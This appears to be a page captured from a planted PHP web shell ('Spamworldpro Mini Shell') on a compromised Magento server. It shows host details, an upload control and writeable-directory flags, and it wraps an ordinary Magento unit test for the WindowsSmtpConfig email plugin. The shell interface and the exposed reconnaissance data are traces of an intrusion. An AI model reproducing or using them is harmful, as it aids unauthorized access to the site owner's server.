Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/vendor/magento/module-email/Test/Unit/Model/Plugin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/corals/old/vendor/magento/module-email/Test/Unit/Model/Plugin/WindowsSmtpConfigTest.php
<?php
/**
 * Copyright © Magento, Inc. All rights reserved.
 * See COPYING.txt for license details.
 */
declare(strict_types=1);

namespace Magento\Email\Test\Unit\Model\Plugin;

use Magento\Email\Model\Plugin\WindowsSmtpConfig;
use Magento\Framework\App\Config\ReinitableConfigInterface;
use Magento\Framework\Mail\TransportInterface;
use Magento\Framework\OsInfo;
use Magento\Framework\TestFramework\Unit\Helper\ObjectManager;
use PHPUnit\Framework\MockObject\MockObject;
use PHPUnit\Framework\TestCase;

class WindowsSmtpConfigTest extends TestCase
{
    /**
     * @var WindowsSmtpConfig
     */
    private $windowsSmtpConfig;

    /**
     * @var OsInfo|MockObject
     */
    private $osInfoMock;

    /**
     * @var ReinitableConfigInterface|MockObject
     */
    private $configMock;

    /**
     * @var TransportInterface
     */
    private $transportMock;

    /**
     * setUp
     *
     * @return void
     */
    protected function setUp(): void
    {
        $objectManager = new ObjectManager($this);

        $this->osInfoMock = $this->createMock(OsInfo::class);
        $this->configMock = $this->getMockForAbstractClass(ReinitableConfigInterface::class);
        $this->transportMock = $this->getMockForAbstractClass(TransportInterface::class);

        $this->windowsSmtpConfig = $objectManager->getObject(
            WindowsSmtpConfig::class,
            [
                'config' => $this->configMock,
                'osInfo' => $this->osInfoMock
            ]
        );
    }

    /**
     * Test if SMTP settings if windows server
     *
     * @return void
     */
    public function testBeforeSendMessageOsWindows(): void
    {
        $this->osInfoMock->expects($this->once())
            ->method('isWindows')
            ->willReturn(true);

        $this->configMock->expects($this->exactly(2))
            ->method('getValue')
            ->willReturnMap([
                [WindowsSmtpConfig::XML_SMTP_HOST, '127.0.0.1'],
                [WindowsSmtpConfig::XML_SMTP_PORT, '80']
            ]);

        $this->windowsSmtpConfig->beforeSendMessage($this->transportMock);
    }

    /**
     * Test if SMTP settings if not windows server
     *
     * @return void
     */
    public function testBeforeSendMessageOsIsWindows(): void
    {
        $this->osInfoMock->expects($this->once())
            ->method('isWindows')
            ->willReturn(false);

        $this->configMock->expects($this->never())
            ->method('getValue');

        $this->windowsSmtpConfig->beforeSendMessage($this->transportMock);
    }
}

Spamworldpro Mini